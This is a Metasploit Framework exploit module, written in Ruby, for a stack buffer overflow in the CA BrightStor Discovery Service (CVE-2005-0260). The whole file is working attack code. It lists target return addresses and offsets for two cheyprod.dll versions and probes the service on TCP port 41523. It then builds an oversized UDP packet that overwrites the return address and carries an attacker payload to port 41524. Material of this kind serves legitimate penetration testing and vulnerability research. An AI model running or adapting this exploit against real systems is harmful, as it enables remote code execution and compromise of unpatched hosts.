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## # $Id: discovery_udp.rb 9263 2010-05-09 17:52:51Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::Tcp include Msf::Exploit::Remote::Udp def initialize(info = {}) super(update_info(info, 'Name' => 'CA BrightStor Discovery Service Stack Buffer Overflow', 'Description'=> %q{ This module exploits a vulnerability in the CA BrightStor Discovery Service. This vulnerability occurs when a large request is sent to UDP port 41524, triggering a stack buffer overflow. }, 'Author' => [ 'hdm', 'patrick' ], 'License'=> MSF_LICENSE, 'Version'=> '$Revision: 9263 $', 'References' => [ [ 'CVE', '2005-0260'], [ 'OSVDB', '13613'], [ 'BID', '12491'], [ 'URL', 'http://www.idefense.com/application/poi/display?id=194&type=vulnerabilities'], ], 'Privileged' => true, 'Payload'=> { 'Space'=> 2048, 'BadChars' => "\x00", 'StackAdjustment' => -3500, }, 'Targets'=> [ [ 'cheyprod.dll 12/12/2003', { 'Platform' => 'win', 'Ret'=> 0x23808eb0, # call to edi reg 'Offset' => 968, }, ], [ 'cheyprod.dll 07/21/2004', { 'Platform' => 'win', 'Ret'=> 0x2380a908, # call edi 'Offset' => 970, }, ], ], 'DisclosureDate' => 'Dec 20 2004', 'DefaultTarget' => 0)) register_options( [ Opt::RPORT(41524) ], self.class) end def check # The first request should have no reply csock = Rex::Socket::Tcp.create( 'PeerHost'=> datastore['RHOST'], 'PeerPort'=> 41523, 'Context' => { 'Msf'=> framework, 'MsfExploit' => self, }) csock.put('META') x = csock.get_once(-1, 3) csock.close # The second request should be replied with the host name csock = Rex::Socket::Tcp.create( 'PeerHost'=> datastore['RHOST'], 'PeerPort'=> 41523, 'Context' => { 'Msf'=> framework, 'MsfExploit' => self, }) csock.put('hMETA') y = csock.get_once(-1, 3) csock.close if (y and not x) return Exploit::CheckCode::Detected end return Exploit::CheckCode::Safe end def exploit connect_udp print_status("Trying target #{target.name}...") buf = rand_text_english(4096) # Target 0: # # esp @ 971 # ret @ 968 # edi @ 1046 # end = 4092 buf[target['Offset'], 4] = [ target.ret ].pack('V') buf[1046, payload.encoded.length] = payload.encoded udp_sock.put(buf) udp_sock.recvfrom(8192) handler disconnect_udp end end |
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